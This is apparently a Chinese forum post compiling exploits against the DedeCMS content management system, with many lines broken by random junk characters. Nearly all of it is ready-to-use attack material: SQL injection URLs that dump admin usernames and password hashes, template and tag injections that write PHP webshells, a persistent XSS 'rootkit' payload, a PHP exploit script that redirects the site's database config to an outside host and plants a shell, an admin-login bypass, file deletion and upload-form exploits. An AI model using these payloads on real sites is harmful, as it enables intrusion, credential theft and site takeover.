dedecms漏洞总结

admin

Dedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1

. a* l1 r3 r! T, s$ l% f" e
. d4 h$ Z: O/ Y! c" G2 _" `
; D8 B" t; j5 U0 M% ?! \



6 N+ H& M' b, h1 ]
$ Y3 z5 L: K7 A9 YDedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
. e& n+ i! Q/ ^8 P4 Z' I9 wa{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。

  u* `6 b  X' L0 G" o






, X0 C/ a& r8 l: FDede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
3 n; H9 p0 D& F& a- ihttp://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
4 M  C) V7 x2 }2 R2 t% _0 o. Zhttp://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7

9 N2 s, v4 t) r0 f






DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
6 i# X, Z; j. Nhttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`

% x5 C3 @3 W$ _+ o, |9 m+ w
' q% G  K) i- N
+ H( T. {3 [7 l7 Z" ~# J+ P


DEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="

% V# @; {8 H' B: y$ H
2 R9 j, y/ {" r2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda

/ g3 f& h3 j2 q" ?
+ {2 F3 |# {% `& jhttp://v57.demo.dedecms.com/dede/login.php

4 B' A4 ^" |0 t$ s- w% \; \
color=Red]DeDeCMS(织梦)变量覆盖getshell
; R3 l, H/ z  h$ e4 B8 H#!usr/bin/php -w
<?php
error_reporting(E_ERROR);
) x& E6 `' F# Vset_time_limit(0);
print_r('
DEDEcms Variable Coverage
" ^. E; t  J! b/ o0 L. C9 dExploit Author: www.heixiaozi.comwww.webvul.com
; G3 _$ C. y/ x1 W) q);
echo "\r\n";
if($argv[2]==null){
$ S. ^4 ]! D7 I/ O& r3 i: D4 q8 p2 Uprint_r('
( G" Z' d2 n6 T) h# T+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
% X6 S, b# G' y4 d) Eaid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
% s$ ^( x1 \- l8 pExample:
; r8 ]7 T5 U; [php '.$argv[0].' www.site.com 1 old
8 C( a% t. P1 ~+ O, I% [+---------------------------------------------------------------------------+
! f5 Z" B8 P9 E6 H9 F. x');
exit;
$ [+ L) a( U( @, V- z5 o# \/ [}
$url=$argv[1];
, T2 Y2 h8 b: T; _3 D9 U) B" _  K) }$aid=$argv[2];
- C2 b' b( y) O  l. ]$path=$argv[3];
; X8 }7 L( E" c) _9 J/ @2 a$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
echo "
Exploit Success \n";
if($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;
8 W7 i. `1 ^( t# N# S4 A

9 ^6 z* A1 r/ p( k1 R5 Wif($aid==2)echo "
  @; v; ]3 f+ E7 Y" ^3 r/ }8 X, E) YShell:".$url."/$path/fuck.php\n" ;
* ?2 ]5 e( i' E% z  E3 l( o

+ M3 {, d. D& f- [/ cif($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";

/ g1 C7 f; B- D3 U9 @" t
+ R# K, q& p7 `* N! H( D/ p}else{
9 z3 O5 Q+ i- D/ wecho "
0 R% E# z+ R. ]' K! d) S2 mExploit Failed \n";
7 }3 c4 J3 W* M5 b, j: ]% }: [. V}
function Getshell($url,$aid,$path){
5 T8 }' V* X: i3 f( o8 J$id=$aid;
$host=$url;
$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$ v  ~3 V' {$ x$ _3 P$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
4 F% j& _2 x+ l9 {2 L/ \+ k$data .= "Host: ".$host."\r\n";
% E! [% d! P3 h: g0 F- d$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
% K% x! ?- \9 x$ z: ?$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
  q2 m3 Y$ a2 U: r6 o5 a% m$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
3 @, t9 v- p* l0 Q$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($host,$port);
if (!$ock) {
echo "
No response from ".$host."\n";
}
fwrite($ock,$data);
3 z! v9 A; ?) f' I- l0 d1 Zwhile (!feof($ock)) {
$exp=fgets($ock, 1024);
% b* j/ K. q: t; ]& Sreturn $exp;
' l3 D. L) m: O6 @- c6 |) c8 h) O}
" G2 A. l5 c0 {}
6 M% E% X  o' Y9 I: X
3 E- @: ~0 s3 d- |. B- p8 z. w
?>
9 I; G& T$ p3 V9 k  T



  y$ V$ ?- Z% ?/ l) J4 J0 M

- ~/ \, w' L3 _/ q5 n8 X) ]


& C) h- v, J# u  _5 |1 k) F6 C
' ]3 Q7 A: U' x: U! V1 }DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root

6 K2 c6 ~( e- R, A. i
( C2 E$ M1 L& A6 _把上面validate=dcug改为当前的验证码，即可直接进入网站后台


此漏洞的前提是必须得到后台路径才能实现

) U0 u+ g9 x$ W9 p0 G- p/ Y7 D
: C% V- d- [+ T1 p




# ~' n% e; f0 F% q+ |


/ I* O7 B1 [/ e4 G& X* Q: J4 H/ ^Dedecms织梦 标签远程文件写入漏洞
/ A  D* Q0 `7 Y前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
; j# a, m( T" n6 S% {  P  y. _

: t- U; F1 A0 i  ]再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
: h7 O& k0 a2 O+ {<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
; Q" h2 q$ x/ l* [6 X7 X# a<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
2 N  i% c# _9 W4 T% \( f<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
9 c' k- i2 j& U" b<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
9 B& l; o1 H; X: X# J6 p<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
2 I* k6 [1 N& X<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
; x4 }; q- S2 _! w<input type="submit" value="提交" name="QuickSearchBtn"><br />
0 ~7 u  l" [6 g  M- P</form>
<script>
function addaction()
{
/ }* }# T9 g" S  o# V* Ydocument.QuickSearch.action=document.QuickSearch.doaction.value;
% Y3 `& D- T" i}
" E: i% p: F3 z: o' _</script>
- u- ~' o6 T6 U
% s5 G& ~  I3 M- `3 s) Q, a# V
( s) k) a+ u$ S

, y% F3 S& ]8 X- [0 S, X5 q

+ S1 v2 b; _; b/ }; c; [, g
/ B+ m6 r5 u) c' f3 v9 E

9 x6 Z" o5 b7 ^- m, u7 j
DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
% T8 A* U" S3 r  D5 K! ka{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg

0 V7 V1 s2 {2 C+ L9 J9 w' p
模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
% `# t- B3 F1 j! [2 W% {# D) y. v$fp = @fopen("1.php", 'a');
. r7 r" S, S( M* K- A+ U% \0 U@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
$ u- V6 Y5 _9 z6 p3 K* x& D, q@fclose($fp);
4 e5 v7 M8 H. i0 s+ L. C{/dede:name}
7 z* I2 |/ W" G2 修改刚刚发表的文章，查看源文件，构造一个表单：
, w- r+ D) n4 c8 d9 H) Y<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
4 }3 I/ @, U4 N5 y# i; e- ]<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
6 `/ R- U  v' S3 I<input type="hidden" name="sortrank" value="1275972263" />


<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>

# y; O/ A; F3 X& Q
! g: P6 v% Z' m  V<div class="postForm">
1 k  Y2 H$ ?$ }  A+ \( O! F<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>


<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)

6 O- \, U9 r" v! v* J
0 i/ C; u1 a- s* W, w<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
4 M. G  x% }+ k$ x( i! g
: t+ i( c0 j9 x0 s% S# b7 h  G, @
<label>隶属栏目：</label>
$ I! Q( ]+ Y6 P+ r8 i<select name='typeid' size='1'>
5 M9 {& F  _4 D1 {9 g<option value='1' class='option3' selected=''>测试栏目</option>
: F9 E5 ]) n, x</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
1 E$ Y) A5 ^/ W$ L3 l0 e# K
7 `( I# y* x; d6 X3 o! K
<label>我的分类：</label>
<select name='mtypesid' size='1'>
# R6 h( M1 [6 }' h<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
</select>
$ x3 m/ o. E/ I' j1 I
' e% b0 W- w* B; I
<label>信息摘要：</label>
2 R4 g! K+ G+ _- s- f; j' i<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)

  x4 ?1 t) M1 _. B* B
<label>缩略图：</label>
6 j  c  u2 K6 I8 n% ~) O8 k<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>


<input type='text' name='templet'
2 V% m0 N; L8 Cvalue="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
</div>

  x1 \4 `( W& _) ?
<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>

2 E; ]% n2 `4 U
<div class="contentShow postForm">
+ ^7 h2 [/ a# i8 ]' ]<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
( ~$ s3 x/ l3 C" u' l

<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
; R  r4 ?" N* k2 }. R8 O8 V<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
& F: t8 l* I+ K

<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
, V; X0 H/ }) L. v# ^</div>
6 w+ P* L4 }7 U" i; ?- g- F

4 I- X, Z# a9 X- S% M( H; ?$ j</div>


</form>

6 N/ O+ ?9 {& {  t& }5 x( k
- f0 G- M9 e1 V1 n提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
" _" u; M4 ~0 f4 U' d$ \1 k2 t假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
! a! R5 W7 r' Z; b# b即可以在plus目录下生成webshell：1.php


& S& f! S6 W! L' [
# D$ z6 {7 z; Q, x
0 [0 C2 B" i! a6 f1 j


* @# \, Z0 r4 i+ }" Z/ r9 k

4 g6 H& @# p- o/ a. `& B" \


DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
{/dede:field}
保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
9 `: v+ R# r7 U<input type="hidden" name="aid" value="7" />
% o* M0 a- G- B+ B9 I& t* O, K9 ?: O<input type="hidden" name="mediatype" value="1" />
# Z8 ]3 _& ^4 ]5 _% V( g0 K3 d<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
  _% R: X5 I4 `" a, f. [' F1 C* `<input type="hidden" name="dopost" value="save" />
) Q& ?) S1 X  e/ r4 O6 I, K9 {; C: @<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
$ q4 z4 B2 D7 P/ n0 R<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
</form>
) R  O2 A# }$ z6 v  `; w1 _6 P

/ H* s# q  ]4 R构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：

7 }" c( n5 @, J) B
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
% s- f- }# j; Z1 E<input type="hidden" name="dopost" value="save" />
( L1 G1 x3 h0 G5 x, j$ ?<input type="hidden" name="aid" value="2" />
/ H7 m- Q! W  P$ h. j3 M<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
' r# B5 O# N9 N<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
# C1 ^4 b. F8 U8 y  o<input type="hidden" name="sortrank" value="1282049150" />
$ M" [+ T7 s' M) z$ q* y2 J<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
1 I8 H1 D2 B' q& B' ~( `, U5 ]<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
3 c% Q; ~. n% K8 e$ e$ G<select name='mtypesid' size='1'>
% Z) P/ ~! _  I: N. i<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
# o5 P: e2 Z$ Q! S! ]: |<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
# x! j9 ]7 \4 l</form>
/ p! e9 y1 f  e6 [

8 Y! ^5 ^6 l7 H  |
. U* u4 ?7 L+ Q' C4 r; n/ ~* e


# d2 h) G. T) |6 }

3 `8 K- S8 e1 r4 S" z% w* M
9 M' S+ m+ A! f( o1 G
: d6 [# Y3 g5 q& b: l

$ I/ T$ W2 N- U6 b6 n% K: B织梦(Dedecms)V5.6 远程文件删除漏洞
, N  z% @9 F% ~6 I, @http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
/ l! M( k1 j( K( @+ p# S
2 }2 y$ D, P2 h
$ `( E6 s0 V( X6 d$ P
- X2 h) w4 e# V$ w* g
' X. j/ F2 x5 l* w3 W

& Y' D' t0 n3 B( I


" d- G/ ]9 U. q& e1 j% m
织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../
6 O$ D3 A1 Y0 ^# h
& J, o: [8 G1 M% D) m% {2 Z* p& a& N
' I6 w. H% q5 v! b
. u$ P! i/ _6 e( F
2 |- ^$ e/ K" U) P/ ]
3 j2 E% G1 M# Y7 @" b



* S6 i( n" p$ u5 T7 j) |$ e0 O
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
1 J& @" i1 o0 |* c' j- Q密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
, y5 l9 s/ V, k" U8 h- x

! r# n* Q  V1 W9 V9 T6 W! g: E




8 p9 {7 f6 f; R& w
& u1 S( Y/ q$ @
3 |* f% p$ u" z5 j: }% G' G. g
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
% `4 j4 X! r' U- C" D; ]& P: G2 f4 Y: [http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
2 N; f' A( ~' B" M" N
- @' v7 Y. M! a' k9 T6 a% h* ]
& H( ^. `/ D8 i  u6 _
# u4 d; A$ G! M; H1 e! b6 x* U: z

" a& e0 m3 x, g
* k, H9 K) s$ S+ [9 s* O

6 a( S4 Q' D0 ^! I5 C# K

8 p) ?. Z% k( Q, o3 w& U; r& F% m织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
  Y% z0 s0 ~1 U: s7 R& z8 b# ~- k7 m# v<html>
4 U- A4 q$ w. C  P/ K5 P. E; y8 j- G<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
) p, h) @3 u% C% a/ P! ~</head>
<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
& p; t( B" K. Z+ O<input type='hidden' name='activepath' value='/data/cache/' />
0 Z  Q6 X( ]/ n0 q9 T7 g<input type='hidden' name='cfg_basedir' value='../../' />
- Q1 `' c% X& `3 i; E<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
0 Y5 k% \( t. o: T9 f- r& X: I<input type='hidden' name='cfg_softtype' value='php' />
" g/ Y% X; s6 D, G  d* @<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
! \% O, Y" j7 t' E2 H<input type='hidden' name='job' value='upload' />
) Z* |% |% i0 R* z# ^6 Z<input type='hidden' name='newname' value='fly.php' />
* @- j% A8 N" F0 k" n# o- l0 jSelect U Shell <input type='file' name='uploadfile' size='25' />
% v( U) u1 o! O( E% g$ s<input type='submit' name='sb1' value='确定' />
& w" R9 g$ G$ `( X  ?) a</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
1 E/ a) b1 M& O' M8 |Need register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
3 J+ w8 _9 o7 M  s+ H</body>
</html>
! F' G' D% F" ]6 @) m- R
2 ^) _2 n8 I1 M" U& q: n; _4 Z7 P
+ L1 V0 H. }# a" V3 Y) g- B" X, j

3 B  S2 J( q0 z& ?1 ]7 t5 n
8 @( Z/ o& w' e2 f9 p2 R8 ^2 M

: A& W3 P& g$ j$ D. G4 K
8 g8 `) E$ w5 t# h
/ I9 I1 b. P8 n* G2 _2 [' l. L3 d
& C: s! |. ~" M$ \, k织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
9 a) y; g: y* ^% h6 g" X" s5 i1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息
$ z5 |6 q% G8 }( \7 i1 _
) u4 D' f( R  O: Q5 R
$ R0 }, t6 E  Z: f2 e6 z/ \* m  D2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
/ \) g- }+ B; Dint(3) Error: Illegal double '1024e1024' value found during parsing
* u% C  l1 d8 C1 XError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
7 l* U1 w4 e+ u
+ ]: W8 ]2 u4 j$ y# P# d
$ H8 H' f. v1 k  ]5 ?3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是

+ q5 _4 j% k1 l6 P
<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
. q2 D0 Z, k9 {; _( E% H& O; l+ \

按确定后的看到第2步骤的信息表示文件木马上传成功.

6 a) u. P3 g& u7 v/ E! E+ E" U6 [
$ z" I  ^0 U5 ~4 Y
( o3 }1 R* e8 |% Z7 f& J6 \
3 X. I, V5 Y  x  a/ ^5 W




0 v% ]( h' C) d' ?" K. f3 Z/ K, I: |
  X% H4 J( `# p; @1 {

织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*